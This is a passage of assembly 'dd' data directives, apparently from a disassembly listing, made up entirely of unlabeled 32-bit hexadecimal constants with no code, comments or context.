0F69D0827h, 3AC61801h, 49EE69D4h, 32E5D6C0h, 68D09BADh dd 820000E4h, 7A80C26Dh, 2890FB15h, 0A0C83F8Fh, 8449B8h dd 0BA7FE983h, 0A348FDAEh, 0D086DF0Ch, 0F2D460ECh, 639A0BE7h dd 1CA05B21h, 0AD291C75h, 103F2630h, 71C17AE5h, 24E801DEh dd 5004B7BEh, 464CD0BAh, 0F08EC716h, 0B2B0FC02h, 0F8F4C0F7h dd 1FBD7BCAh, 43DAE6EEh, 34493E99h, 0FCC27CB8h, 0EB3F8400h dd 9047ECC3h, 755B0009h, 4291CC8Dh, 8CE216DFh, 82C470E7h dd 17905F90h, 0C92C0300h, 0ACB3F0EDh, 575A3EB9h, 0FEE34A80h dd 0AF03BCFDh, 3F959B4Ch, 3019B0A5h, 0A32262h, 647C7454h dd 0CAF5C94Ch, 0EF5C4B90h, 980D28BEh, 708B433Eh, 0ADFEB970h dd 0F4B07C00h, 5898C30Bh, 106069EEh, 9E814420h, 0DB00C920h dd 82D0CAB1h, 7FC25A1h, 0F7E404C1h, 0CD2470F1h, 0CB390BC8h dd 0F3BA802Dh, 0BC26109Ah, 0FA36073Fh, 0FA4093EEh, 4EE700E4h dd 9022D9F4h, 71FE3Bh, 8898396h, 287A919h, 24AEB6BAh, 0C604C0Ch dd 45105F77h, 1715BD7h, 0C54238B4h, 701DE5F2h, 0AB145E06h dd 4CB1E274h, 9ED0095h, 0ACF46D65h, 0CD233FB5h, 28E90C80h dd 9B2C32DAh, 0F5AB0101h, 36355B6Dh, 9D0060CEh, 0F1520002h dd 332AC99Eh, 4D009186h, 46C8C2A1h, 505D23h, 0F3420739h dd 614C5C7Dh, 0B704748h, 862F9257h, 104D6Ch, 0CDF0FC2Ah dd 372B48A8h, 7791E2Dh, 0BECB3508h, 4B777FCh, 5C2890F1h dd 0D5EBC240h, 3243EC80h, 505C1DDAh, 2AE0054h, 0D4227BB0h dd 0B1DF0179h, 0C4E3B6F7h, 51F04023h, 390EAB9Eh, 802D1147h dd 566448E7h, 18330309h, 1AA00825h, 0AD705800h, 31869C20h dd 6D3200A6h, 2DD81FD4h, 0A0B0816h, 80A71A18h, 0DDF483EBh dd 1DA9003Fh, 0E1E48A1h, 0C00716Ah, 0D144D420h, 2C318E61h dd 0EC0ECh, 5D5732CFh, 0B4008CACh, 0FD23C1EEh, 13F687DAh dd 0CF4AD92h, 1536C70Ch, 0B3CE3801h, 63C41DCCh, 0E0791420h dd 7FE3079Ch, 783302h, 8EA26C85h, 0E788F700h, 7C8F1658h dd 36BB005Fh, 0D0316551h, 8CFEB3F6h, 7F9E600Bh, 0BD5CA1A2h dd 8621E5E4h, 0B5305861h, 0A7DF0562h, 0D0FDA6BAh, 71ACCC54h dd 657DCA02h, 60DD7549h, 57A070h, 334DB911h, 812D438Dh dd 0DDC4E4F9h, 0C0C739CEh, 4B97DF2Ch, 0E9A200A0h, 43213984h dd 0D209454Ch, 3A38EFh, 63A52C0Ch, 0DF061CADh, 24260018h dd 0C59DB8B4h, 3C4E4Ch, 4FEA4FDh, 0EDE61Ch, 2223576Eh dd 5D0BEA56h, 0C6592900h, 3BB9358h, 8DDD0035h, 5AFCE4D3h dd 2800AF81h, 59FD660Bh, 71BF799Ch, 0BD3B03CAh, 188CB431h dd 60F61DA1h, 0C4004BF7h, 4858136Fh, 7BABFF45h, 364F0199h dd 4AD3127Eh, 4E308E8Eh, 0EE0D60A6h, 5D3F40h, 2770E069h dd 85F694A8h, 1443D54Ah, 907A9F61h, 48D88247h, 0E40050D6h dd 777B5D79h, 93045526h, 5BE7964Eh, 5B938A4h, 4C8F9569h dd 9EC4C084h, 0A858D019h, 146C00A4h, 52D4920h, 0BCA4026Dh dd 7AB513FDh, 0B1D4A080h, 81727CC5h, 5D831E14h, 940973B0h dd 1DDF8CAh, 5A7DD9A2h, 79D022h, 73E2EC1Ch, 0FF501869h dd 4004CFEh, 765DD3B4h, 80A6E8h, 0AEF4B340h, 0D77F4427h dd 67419A0Bh, 4A908043h, 3BB9ABA1h, 12001F6Fh, 7EAE428Ch dd 1BFAB87Fh, 2700E876h, 0D70BAC83h, 906901ADh, 1FFA2817h dd 0CD1B1ECEh, 575D0089h, 35DD308Bh, 7800FB90h, 0E85ABF04h dd 0FD178Eh, 67733BE7h, 0FAF1814Ch, 3E19481Dh, 0B0238C00h dd 3C39DCh, 0FBE72C42h, 76E20910h, 80451B3Dh, 0B6070CA4h dd 3A0E8Fh, 5DF0D251h, 7FC7E3FDh, 0F02CFF8h, 116BFC2h dd 2BE0823Ch, 0C830C3C3h, 248AACAh, 3BE68211h, 3440CDE7h dd 8E0FE202h, 60FFBDA4h, 0EC0D75C7h, 27DB093Dh, 0A4A0A033h dd 0FDE38677h, 7A164504h, 0A8C0A9F9h, 982DFA65h, 806A0178h dd 0BE5F8714h, 19C723Fh, 21302A75h, 8030736Ch, 6B2B1F31h dd 1DCBC035h, 5B6E55F7h, 0FDC38400h, 0CE3D960Bh, 79730060h dd 4AC8562Ch, 0BE25EE6Ch, 0CE74BCh, 4728F627h, 8D002106h dd 0FB2D4BC9h, 9E68A1h, 0D4453C8Bh, 82ACFF70h, 46787E00h dd 1DC7129Dh, 0FDE40035h, 0F38DA24Bh, 0EBF86D88h, 0BC40B700h dd 4C94B504h, 0F50A00C8h, 98514B7Ah, 16001A0Fh, 43B7321Ch dd 0B503A3h, 7BE3EC8Bh, 4BDD28C1h, 9EB61E0Eh, 85CEE5C8h dd 807D0092h, 391470A7h, 0CCC202ECh, 41C0B49Eh, 836B38E1h dd 8EDF088Ch, 1B80D7FDh, 0B8CD8Ch, 0DC9BA6C8h, 811C2AD1h dd 8562A907h, 0A5847E67h, 92D49881h, 5024F331h, 749C0021h dd 88BB5D2Fh, 0AD1FA2ABh, 42805F3Fh, 0DF75BE63h, 1E870068h dd 61707B9Fh, 0E1077210h, 82901985h, 0F962FBD0h, 1FD707A5h dd 100E7ACFh, 0D2B2242Dh, 9725A800h, 6BC45612h, 5CEA00DDh dd 3E52EDFBh, 0EF069242h, 75FFC971h, 74F6000Eh, 2C2D023Ch dd 17263BE0h, 0C80344D4h, 0E0CA8A5Fh, 3C728069h, 0F0004AC1h dd 0FBF417EFh, 83018547h, 61280415h, 0D1C0122Dh, 0D837073Eh dd 0C073B5FCh, 826B4CA6h, 690B9300h, 6EC28B5Eh, 0B6E90041h dd 1191E5C1h, 490E396Ah, 0C0C820C3h, 0D079F0CFh, 747E0058h dd 5D7FA146h, 8807C445h, 0F5189C16h, 4A1DED40h, 1718B83Fh dd 0A4FF7Eh, 0FB15D188h, 69E0E86Ah, 2CD0BA2Eh, 0D2D32E01h dd 48FC1231h, 20860717h, 6B3891h, 51E14B06h, 0C402D298h dd 1E25DD3Bh, 5FA8E8A1h, 34552E13h, 6351006Ch, 78023645h dd 881FDF30h, 21BA485h, 0B5DA885Ch, 10B1AD90h, 0F04006FEh dd 0BF7101D6h, 0C019D97Dh, 203D093h, 21591030h, 3233BD2h dd 7454B53h, 83A58350h, 2A93D0E9h, 0D80A6198h, 0A836B500h dd 1D8CC2E0h, 0BC3000A2h, 3930C44h, 9615C012h, 0C94211Bh dd 881EF1BDh, 38C50236h, 0C64EE482h, 60A61CE3h, 0DCE54FFCh dd 389AA2E6h, 20159928h, 0D8D28830h, 3CB4229Bh, 97AA81AAh dd 801C8410h dd 6335B05Ch, 0ED4D0E3h, 4BFD3B0h, 5F67607h, 0F430DB4Eh dd 73D52508h, 41FA3EEDh, 0A84D1100h, 0C46662F9h, 0E6B8B20Eh dd 1421208Bh, 1FD5105Ah, 4BBD4D2Bh, 2581FA87h, 0D0582667h dd 0AA01D7C0h, 73BCA7A5h, 93CCCC7Bh, 74F49871h, 919617BAh dd 3AF0D4F1h, 4D00BA04h, 8B7269DAh, 943CF87Eh, 75A9184Eh dd 0ED9C10h, 24333C0Fh, 25BEDBE2h, 0B5079E7Ch, 4AE56DFBh dd 558201C8h, 0E037F642h, 0CC911E79h, 74136200h, 176FF1Ch dd 3CBF6086h, 0F49B8E0Fh, 223058B5h, 3A3F8924h, 9D470E6Bh dd 7E412F9Ch, 8482ED4Fh, 19BD2929h, 3243AA00h, 5D002B9Dh dd 5AEDDD96h, 0C3A0E47Dh, 0F4CF8321h, 308ED800h, 0C68F3208h dd 541E00D5h, 8B03AF97h, 35034EF6h, 9408EEB9h, 0B13100D0h dd 0B78A7F3Dh, 52EC20D7h, 2968AE00h, 0A5958FD0h, 86B100EBh dd 0DE038223h, 0AF000990h, 0C2DF6F79h, 607EA581h, 0AD712024h dd 9F79CD8Ah, 99682230h, 3BA5A652h, 2967559Bh, 0A2E46151h dd 94119792h, 3BFCDC02h, 3CC890CAh, 789300BCh, 0F7639086h dd 14C07EEh, 160E135Ch, 0D8A5B007h, 8098EBCEh, 4BD150EEh dd 72AA4C5Dh, 0A596EE03h, 600625B5h, 0C563024Fh, 28827C98h dd 12EC67C3h, 868AB1h, 37BE9508h, 190BDD01h, 204C15A1h dd 908A9F08h, 1DBB2CF2h, 4F031E00h, 823358Dh, 82870991h dd 0A880B8D1h, 40171B3Dh, 0F731BB07h, 9EC51F85h, 8F9417C0h dd 7CBA75A8h, 52900AF8h, 9B06B46h, 0DCE07F1Fh, 8330A323h dd 9E929854h, 0E2AF0130h, 525590DFh, 5818A857h, 8A40260Fh dd 4FCE877Eh, 0C6D9A686h, 283893F0h, 66788800h, 8FA4A319h dd 346A3035h, 4A1B7918h, 0F9D05E01h, 3BBD2060h, 0D158F0h dd 5A8A23D7h, 46F61B8h, 7FAC9107h, 0AFE04316h, 1D750B2h dd 0DA5FE4C8h, 0DC0D7CCFh, 667C03D6h, 48F8CC01h, 0F4F08CA8h dd 88A0C426h, 6605EA52h, 0D2FEBB44h, 0C3220C03h, 195002C4h dd 20296216h, 1B7CCB20h, 7D3607ACh, 0FCFE653Ah, 3892AF08h dd 1B846400h, 23CBA4EEh, 742648D4h, 60A3200Bh, 0F72E9420h dd 946093B4h, 23A9B811h, 0C507A0Dh, 9B991F44h, 0D1C0C108h dd 8723A8D7h, 0F29A1CBBh, 0B7A40EFh, 0F95C186Fh, 26397F44h dd 20011AFh, 0CBFAB24Fh, 3EE0CC8Eh, 8EE63B79h, 114C649h dd 0EAE39803h, 0CC415EFBh, 0DFEA8C18h, 296D2383h, 0B509B000h dd 3E9BAB89h, 2C444DE1h, 27E70402h, 4043F0F8h, 0A458AAB8h dd 0F401CA6h, 0C74F5F8h, 9A2A003Ah, 0EDD02B2Fh, 7F000D34h dd 0E5E0BBC9h, 129BA35Dh, 40641E83h, 0D6F06544h, 0AA04818Dh dd 600A58C2h, 681344C2h, 0F8486Ch, 0BDC675D5h, 85406F6Bh dd 0DAFD9509h, 91FC2EBAh, 0F5CB100h, 0FA2DD16Fh, 9667C401h dd 4320C10Ch, 93E7430h, 836BDA3Ah, 8888F80Ch, 0D603028Ch dd 0B562818Ch, 21806D19h, 68D550C5h, 3F007D40h, 9E75AD24h dd 243A7B79h, 87847F12h, 4204DDC9h, 0A0E081A5h, 0DF072977h dd 3B1A42BCh, 80D82A92h, 0FEBE948Ch, 0C75703B0h, 1843DD7Fh dd 0A097C0F7h, 9900E008h, 194DEB7Eh, 24161C9Dh, 6F4828C8h dd 36521BC1h, 88C7188Dh, 1B0086BEh, 834CE70Ch, 2663D021h dd 804EECBh, 0D900625Ah, 8663546h, 553D3509h, 0C57C0A40h dd 1B814034h, 554636B5h, 896B8879h, 0AFCC1B04h, 20C477DBh dd 0A16368C2h, 0D5120B0h, 4CBF59E0h, 0FB094CD1h, 74A758AEh dd 81E4C155h, 952086D9h, 60085A71h, 61352168h, 7F001AE4h dd 0B7E8FDF9h, 7945251Fh, 0FFC0C2BAh, 0D068CC9Eh, 0AC52161Ah dd 1B6A015Ch, 3B2D36A6h, 0B88BC90Ch, 0B71B92h, 90E54FDEh dd 81D0DE8h, 0B0003892h, 4A2570BBh, 2D9D61Bh, 0CA500A40h dd 0E401DC6Ah, 7C345BEAh, 699EF018h, 1C1D5822h, 7280B591h dd 0E48763E7h, 50392260h, 2EC9AAC8h, 6004E3CAh, 37E00548h dd 78135301h, 895D3EF7h, 2E9F460h, 0AF202BE7h, 0A0AE83B1h dd 197E62E3h, 0A7223200h, 735250F3h, 730E797h, 1457D4Bh dd 910C7781h, 4465EBF2h, 23D43AACh, 2EA80753h, 6429A0BEh dd 4E0B675Ch, 29D4EEB2h, 41E89A14h, 9218B384h, 50100EF6h dd 0D2C87A8Bh, 23A46280h, 515F339h, 0EE033C83h, 0ABB40AD5h dd 1B6BC3F8h, 182536C9h, 93C88BAFh, 0FF73F71Bh, 42209C5Ch dd 589064E0h, 0F1238D60h, 11735023h, 8F9300BDh, 3AC10823h dd 2EB102ABh, 5A49CAD3h, 0BDA1A840h, 0AC90B898h, 98694B22h dd 0F7BF2104h, 2965511h, 9B500444h, 0BE4404CCh, 23C700D8h dd 6F8B3DC6h, 483AB7E5h, 148F8311h, 14D1059Eh, 642F6970h dd 8CC0ACh, 0D57C41CCh, 0FB4031C9h, 7B071D0Eh, 718480F8h dd 0BC6C4CAh, 2D0CBE69h, 0BD916017h, 0E60C2F80h, 48020A56h dd 8DD0AFEAh, 0C07C628Fh, 4C09807Ch, 9F384C1Ah, 740C7EACh dd 14E18FDh, 0EFAE958Ch, 733B7287h, 92506458h, 0E4D60D61h dd 678C1281h, 20A3216Fh, 0A7BFCAD5h, 7082AF24h, 3878CD80h dd 0FC791CBEh, 0C1E40016h, 1FA576BAh, 0F1C7D33Ah, 0AF76B251h dd 3394B0C8h, 0C44180AEh, 8340E7B2h, 580FC989h, 4CF55ED6h dd 5D215Ah, 3A90D274h, 0A87D065Bh, 73205090h, 0DAA0025Eh dd 0EF161546h, 0DBCB5060h, 0B07E7C30h, 4255F0Ah, 10A9A470h dd 0AF14C8DCh, 0E457FE02h, 596D7B0Dh, 1A720010h, 965D28B9h dd 66B9C767h, 0E1873BD2h, 4ACC7A5Bh, 5C220091h, 0EFFF45ACh dd 9C593983h, 0A0B10688h, 7AB95150h, 4DDE04E8h, 90B322F7h dd 375370B4h, 36D1A200h, 0E7D0CE31h, 99600E5Ah, 4560AD9Ah dd 37C2B97Bh, 0E90028B2h, 0F8A29688h, 4D86787Eh, 0AC803CF4h dd 0A1D97CE4h, 924D448Ch, 88E4B303h, 0F8A4E5C7h, 4BBED4Ch dd 55828677h, 0A0F092EAh, 1A934059h, 0CC231C2Fh, 154F0700h dd 7DB8820Ah, 31AD0323h, 8A0997CDh, 0DFFEECA8h, 644A3C91h dd 9B75215Ch, 7900EB9Fh, 0DED2A469h, 189CF619h, 0C85DEE3Dh dd 8272B3B7h, 13BD2896h, 603B37F7h, 8300BF23h, 42B17251h dd 80570410h, 0D2EC22D6h, 2C661A58h, 7FAF1815h, 51B900B8h dd 9D723CBAh, 9CFB017Ch, 1F20165Ch, 1EE0F45Dh, 4F1640B0h dd 3020580Bh, 4CC1BF73h, 0A623D87Ah, 0B01B7800h, 86391D36h dd 168B244h, 28891B80h, 24AAEA4Fh, 3C06BFACh, 454EEE0Bh dd 67E880A1h, 7F0E8629h, 0D736571Bh, 0C18C38h, 68091B87h dd 37843688h, 3978C200h, 0D6EA4C2Ah, 558B1C7h, 48332EF4h dd 0C0CEAEB0h, 0A3500B23h, 0BC448679h, 23A50055h, 4E276233h dd 1D00727Dh, 0F4B3E402h, 0B96FBD5h, 0AFDEA510h, 9CCC0068h dd 98F2400h, 629B9AB5h, 223600BAh, 0D02BD97Fh, 1492651Fh dd 524D4A00h, 0BB6BC55h, 2C44B888h, 2CAC0E70h, 58909144h dd 75780F14h, 647CA5E5h, 0A2BFEC04h, 6FC84C8Bh, 6551AFCEh dd 2CCC5BB1h, 0E64D02B2h, 1E764E86h, 0D0375080h, 0F21F045Ch dd 0A7855985h, 8C47C996h, 7D10FF84h, 71613928h, 754DF29Ah dd 82CD0417h, 90037665h, 3CA5C5F0h, 74071912h, 0DCF43C90h dd 156C79CBh, 2C588ED0h, 699F0D00h, 0B4F1F8DAh, 71635000h dd 0AA6CB959h, 4E2D0FA7h, 44B30AEAh, 0A14255CCh, 0A2C433D4h dd 0F35E30BFh, 25A02C00h, 0E7C68991h, 0D741369h, 2F00061Ah dd 0A1C686Dh, 5F894E71h, 0A7E405FAh, 6CC8448Bh, 438077C4h dd 0D991B9h, 9C64CBFh, 1AF9CA97h, 9278BE3Dh, 8080C89Eh dd 2E3A52B7h, 0E02A20h, 7630FC19h, 8A00ED26h, 6C114702h dd 0EDF0908h, 4865772Eh dd 7C9B95C0h, 0ECAA84AEh, 0DCA6160h, 6B39EBF6h, 0FBA9801Dh dd 8576BB5Bh, 681A030h, 1A710378h, 528399C0h, 0A4972FA2h dd 281C091h, 20283292h, 167E9F8Ch, 582C2400h, 345417E9h dd 68D6B0h, 13BCBA40h, 0EC1716D1h, 1424AE76h, 0D223E03Ah dd 92A63E00h, 4872358Fh, 0BDF8F038h, 0D9C5028Ch, 3BB49EECh dd 5086A260h, 30A2AC00h, 3854748Ch, 73DA254Eh, 0EA628480h dd 70C16AC3h, 841BDC13h, 48BC18A2h, 892310F5h, 8FD60601h dd 1863FA81h, 0D54FCA83h, 69A320D1h, 9E992CA8h, 0C4BFE904h dd 0D251F480h, 98C050AAh, 0C37900A9h, 0F3FC299Dh, 500383B5h dd 0FEAAC601h, 0A5D1E836h, 3DC1036Bh, 7EFF26B0h, 7805BCA0h dd 81FA223Eh, 0A1D6391Ch, 0C7608C94h, 3E21C070h, 2773F91Ah dd 0DD0E93ECh, 6FE25652h, 9F3343BDh, 0F2378803h, 2D6538B9h dd 0D8398530h, 0EA008E79h, 3A2844E1h, 0F9C592h, 0D5B3D6F6h dd 43C096AEh, 0B8310603h, 0C0180738h, 1CBE6ADCh, 837A6421h dd 5F623DCCh, 8005E8A1h, 0BE747920h, 2147F1h, 83E136C3h dd 1A7BED53h, 95AC0107h, 0BAC09B0Ah, 0C0CCBB55h, 15601888h dd 0D5502FE2h, 2D317F91h, 0BD640876h, 4080209Eh, 482E9DE2h dd 7A001AFBh, 0D6BCAFD8h, 680E86h, 0C820E4C6h, 82383C2Ah dd 216B2600h, 5044FFDAh, 6D773CC5h, 0CE1DF100h, 66BF9B0Fh dd 38643B30h, 0FD187Fh, 0C013A1C2h, 0B4CA5BCh, 620123Ah dd 4488396Ch, 21B06708h, 0C90B80C6h, 9F758725h, 0D31E2100h dd 1258A0A8h, 0D160C0DDh, 0C0CAFA86h, 5133E407h, 45202D57h dd 681AFEh, 210A4F32h, 351326B1h, 0ADFF8306h, 3204355h dd 7DA60785h, 0DCA0DE2Fh, 5D008266h, 2849D687h, 0C5FA264h dd 608AEED3h, 0F1000CC0h, 9B110579h, 50BF44Fh, 22ECF087h dd 44921FD2h, 9817B03Ah, 0FA081F28h, 0CF411C6Ch, 175B0091h dd 0B69E3DF9h, 0DB6A0E93h, 0AE40D40Bh, 65835ED5h, 3FE78C3h dd 0BD3015C7h, 0E200D452h, 6B546D1Eh, 4E001061h, 702DCDE7h dd 0A1D6BDA6h, 444829A2h, 6AFA0821h, 8AC4311Ch, 0F9194140h dd 0C04F6238h, 21576309h, 0FEEED520h, 3E1AFC50h, 21EC1950h dd 0F9383984h, 0CC3DFC13h, 0EA851C01h, 9583A73Fh, 70E0EC60h dd 0B92A1C34h, 96280533h, 21C40064h, 0B6ED0EABh, 0B44D52h dd 0FA4C4410h, 242402BFh, 1A84E45h, 0C2B6D534h, 66C04881h dd 0EE7599C3h, 0A000BCEAh, 84B95053h, 0BC488C90h, 0EFE2334h dd 20C40B4Dh, 20B56234h, 5A0B4567h, 0D02B602h, 48695361h dd 49D582E8h, 6306B8E7h, 995F3D1Bh, 4C7BEDE0h, 53C42606h dd 4679B081h, 0B320217h, 319C201Ch, 4A6410ACh, 82D9000Bh dd 45CDDEF1h, 1C001E70h, 86D206AFh, 24C8ADA4h, 2188C3Ch dd 0C99821EFh, 2D1EBC80h, 10E6E4C3h, 8185ED37h, 0FB21C0CEh dd 26D160B2h, 1170A727h, 0FA25802Dh, 91111C6Eh, 0FCD5C048h dd 420083F9h, 0A6337145h, 7DE3B48Bh, 134E118Eh, 31883070h dd 84E618h, 7F54D749h, 268719A3h, 0DC29E028h, 0C1AFF700h dd 0BEEA9CE4h, 14BD15C2h, 9BE894C0h, 96001E98h, 6EE5A8B3h dd 13D839E3h, 60B8BA35h, 36E21070h, 1111D523h, 288B0068h dd 98AD01E2h, 0D60A06F7h, 0D886DEB6h, 2A335500h, 4F4263F4h dd 2806493Dh, 0C91C6600h, 495E65D8h, 0CCA00776h, 0F0A4CEFh dd 0B4A2400Eh, 23802B11h, 211C70FAh, 8D22D743h, 0F91B3F00h dd 401CDA6Fh, 79CF02C6h, 4D352362h, 1D0424C4h, 2D683CCAh dd 6A8F54C0h, 1B182B80h, 0B36019Ch, 183C2010h, 2E6888AAh dd 0D10B4Ch, 0FE92513Dh, 1860E5F6h, 6869F94Bh, 709DA12h dd 0FC818EFh, 286C6870h, 0B5F62040h, 374CEEF8h, 61721084h dd 28350901h, 66480641h, 0BE6D1258h, 5413E813h, 20D15832h dd 0D9BE56FCh, 0C27FFD00h, 0C3D2DBD0h, 1EE704DDh, 0C00BDA01h dd 9C9053ACh, 0D83DFF2Ah, 0E27DEEF0h, 17543C92h, 49127DF4h dd 9040B02Fh, 0B64F13CEh, 0F8166012h, 45079584h, 7069F576h dd 11849D49h, 54E78766h, 3CF1401Fh, 0CA868Fh, 39C6BB37h dd 95536318h, 9F059390h, 0EDE848D6h, 27EFA402h, 3AF4A447h dd 0E3DCC08Bh, 75C3F600h, 0A8264A7h, 78AB5ED3h, 0D0850080h dd 7721EE23h, 0E09531CEh, 264D5302h, 514B1862h, 8893906Fh dd 50960C38h, 130C0582h, 492B6674h, 0FF8202C5h, 63592895h dd 3048A86Ah, 0B9D6AD3Bh, 8C738C2Fh, 40E22E00h, 0FDA59A5Eh dd 0C583F4EDh, 40CAA021h, 6620F8BCh, 440902DEh, 809E094Dh dd 0C56C84CCh, 5C929Fh, 65AC0E9Ah, 25F54331h, 402EC824h dd 1631608h, 0B9CB326Eh, 0FCC0CEAFh, 712EF11Eh, 5C3808DBh dd 42C7B44h, 0FC202C63h, 1302B746h, 29D549E2h, 6E105731h dd 0D400E22Bh, 0EA8FF973h, 38B08B84h, 81A43649h, 0AF465EC0h dd 0A6A3E601h, 0EA573A20h, 27548490h, 1CD2CC18h, 2C69CBA9h dd 5374748Fh, 73C023h, 0D535E20Fh, 0E0B9C249h, 0E2278A60h dd 0BC6E00F4h, 2B04C17Ch, 4F1893CCh, 699A45Fh, 1E124F9h dd 60C403B8h, 0C3B966EEh, 14A820BBh, 95043898h, 407132D9h dd 0A3862881h, 48642E60h, 8AF810B0h, 3B0B1C8Ch, 7C19F848h dd 63BE18AEh, 30ABE29Ch, 7C0074B7h, 0A4101817h, 551158Ah dd 5EC78F29h, 8B58814Bh, 2FD10776h, 0D8892B26h, 10806DBFh dd 39FD327Eh, 6436209h, 6C64B04Bh, 641F12BEh, 0BC8B8Ah dd 0ADBE6E27h, 55825830h, 65F1BCD8h, 56233822h, 4CE21201h dd 5C1821D5h, 2A6D88h, 7E2707E2h, 66BF694Ah, 8F6CC448h dd 0FCF4851h, 90395D3h, 1024D236h, 210AF828h, 0D6C2D069h dd 0C43C67AFh, 0F270608Dh, 38750974h, 405A016h, 6DBE0BEDh dd 2B6584B0h, 32C94D01h, 0BA78BC9Fh, 7C1E18BFh, 6D60013Ah dd 0FAC8FE9Dh, 681AFD00h, 5C98B84Dh, 50C15419h, 2C796B52h dd 3E2E237Ch, 6422BE04h, 20D06292h, 7ABE7576h, 2CE8A271h dd 726B800h, 7E53BDFFh, 802F4CA8h, 2091A600h, 0A066C017h dd 3484A8AAh, 0B386019h, 2C202C0Eh, 306270A0h, 0B6150B00h dd 0AEFB752Bh, 948F58F2h, 726A2D10h, 6F20D098h, 86662570h dd 41CF0884h, 11622A35h, 16F89CA2h, 0BE654Eh, 95314D25h dd 0DE702291h, 49F84F49h, 87C4CC0h, 988C1F5Eh, 2D831903h dd 7F943754h, 2933BAA0h, 2340685Ch, 0FA28002Ch, 0D9891C6Dh dd 0D860C891h, 0EE2F9FFh, 1F4FF186h, 0C0021D64h, 0A9A42D08h dd 0A43B144Ah, 1A00AE23h, 3AC8299Fh, 786D0FF0h, 96D4B733h dd 0C913071Dh, 903072BAh, 3808E20Eh, 64C241D5h, 26894063h dd 0F9AE2h, 682F7D17h, 0AD205857h, 8856CD00h, 52B92A10h dd 7818125Ah, 0A3F8C01Fh, 96181323h, 2069CB1Ah, 9468031Ch dd 2506D97Ch, 59D0DF83h, 0F8D4046Eh, 506E4BDCh, 666BD400h dd 7090428h, 5324C37Ch, 3D93446Eh, 0B7C0089Ah, 4E2451DDh dd 0B1F67900h, 86D559E1h, 9C7540C2h, 81249458h, 714F66D3h dd 39091C62h, 0FCC70FBAh, 0E3606344h, 0FD04BF9Ah, 19EF6965h dd 0AAD30B81h, 231A0428h, 78E5D986h, 7F8031EFh, 1366D59Ch dd 30CC6E4Dh, 0E5555E1Eh, 0FF6D27D2h, 23762C20h, 0BD00C4AEh dd 0A4FAFBBAh, 191AB3Ch, 7E34D380h, 70010630h, 5E1557D0h dd 234C7623h, 0FA26012Ah, 73191C6Fh, 0FDD2805Ch, 4FDBF9h dd 6A7BCCA6h, 8C0E5DEh, 70901259h, 89B48825h, 0C05C4D00h dd 89FB1C2h, 0A85CC100h, 954D4814h, 0BAA3037Dh, 9DC5CC18h dd 9A343100h, 9F70AF33h dd 0B7D8C4D0h, 0E88B2498h, 20C07788h, 0FC6C49E7h, 37E40B40h dd 8D098257h, 0F8C5A421h, 8A788017h, 499D8CE9h, 1FA6FACFh dd 0C01C5FE0h, 4EA16348h, 0BC18EF93h, 0E6A999C2h, 51D30062h dd 0F1AE0901h, 451C4727h, 0FFC7572Ah, 42B074A7h, 49BCB6EDh dd 0F2003054h, 0F658CBD6h, 4500838Fh, 4A4CE167h, 1C846B28h dd 3B9407h, 92309614h, 9A4CDA13h, 65C80287h, 0C0CBBD4Bh dd 0B1ED0638h, 18E6D118h, 477C03ABh, 0BF9F01FFh, 92BC5801h dd 2EEF4B9Dh, 0C05E034h, 722D5B94h, 0D54AF568h, 5E036016h dd 90099B1Fh, 5670A8BFh, 3D201C4Bh, 367CEB18h, 124ED198h dd 9C1B26Ch, 4885AFCCh, 6256C581h, 30C04B20h, 0A8994420h dd 0B43C5C0h, 0B38C02F1h, 0AD1A16CAh, 0AAE814E0h, 0FC00F4E8h dd 837DD405h, 58129807h, 0B0BC7081h, 0AE55018Ch, 0B30A2D50h dd 0FD98D021h, 0E5EE3C02h, 0A059BD05h, 0B8547EE0h, 7817009Ch dd 6E428DA5h, 0FA005EF8h, 0E9C89B0Eh, 2DD6FDEh, 11E7DD2h dd 0D0D0E462h, 0CB60B610h, 408BFE12h, 0C6F50850h, 6E07150Eh dd 7F73A53Dh, 188CD824h, 0C35A0057h, 33A4753Ah, 5D026899h dd 3F4A1CFEh, 0EDE08FBAh, 30A1C9CFh, 35946004h, 5B00833Fh dd 3C724729h, 7C071731h, 7B4C3D2Bh, 31974FAh, 731EB02Ch dd 7A0143Fh, 2D003C46h, 26322177h, 2C29227Fh, 1624831Ch dd 88D4CB41h, 9E12C0D2h, 6909255Eh, 240716E3h, 6F604264h dd 641226BEh, 3C8A5F72h, 0BEB8FA07h, 0C94A31E7h, 13407076h dd 28E33902h, 80D5E659h, 0AF48B0B8h, 611B0443h, 97065046h dd 0DEB6F148h, 12E46877h, 687C68F9h, 2CB58B57h, 9C465B20h dd 53631703h, 980B7255h, 48EED34Dh, 0B15820DCh, 185CD1FCh dd 0BF300125h, 34914B3h, 0F6FC40ABh, 0CA4C2122h, 74312C08h dd 1C877411h, 0B1D5E1E2h, 870F0BC1h, 26E0E214h, 3817F573h dd 0BCFB8A0Ch, 0C214Fh, 614C325Bh, 0C365B19Ah, 746B7E07h dd 21535AA4h, 9534F8ACh, 0FAD801CCh, 0EE4EFAEh, 0A666D813h dd 642A0C2h, 70ECB02Fh, 642311BEh, 80D2886Ah, 0BABE71FBh dd 3F00D9DCh, 82AA5756h, 50DABFFh, 488F4A09h, 0DD38A019h dd 1EADBE0Eh, 0F8EA4A51h, 5E080C2Ch, 847F0071h, 200C7C4Fh dd 12F47E01h, 869DDDFAh, 76FF6CF0h, 4019246Fh, 0D1465E3Ch dd 44C1F500h, 0F14383B6h, 0B7F1F09h, 0ACF0C8FFh, 0FE4880CBh dd 0C085ED24h, 0EC5D8340h, 11126027h, 6F109507h, 44D3432Eh dd 3C7D2A80h, 4BDD404h, 0C1C95683h, 4654D01Fh, 0C00D6CDh dd 91054BA3h, 0D60D1B29h, 0C8B4CBC0h, 3124C776h, 0E4250F8Dh dd 1F2CB735h, 7F1306C6h, 0B588EC8Bh, 77FE3EC1h, 9450E0E9h dd 0B02C33D8h, 1DC4E299h, 891578A7h, 6CE86C50h, 54911D9Ch dd 0C6944004h, 16068C1h, 0C542F042h, 60D3E46Ch, 4A2AF09h dd 60B0B292h, 37008263h, 0FB0114F9h, 0C9AA1F94h, 2A31ECh dd 0BF55E06Eh, 810E61A2h, 0F071A8FFh, 0C2A71B00h, 655828E4h dd 2230062h, 0CE9F2EB4h, 0F933F2EFh, 0A8D8C811h, 2851DC4h dd 20B3A453h, 0E0D00251h, 0D0910D79h, 2B5A3E90h, 16123D0h dd 85D904A2h, 9E98D436h, 0C2525A7Dh, 294B01A4h, 533B0256h dd 14D3C0D7h, 8E9648F9h, 7F12C801h, 6044DE3Ah, 64912D8Dh dd 0C8FF1C0Bh, 0F1DBA5Ch, 0EAC6CA33h, 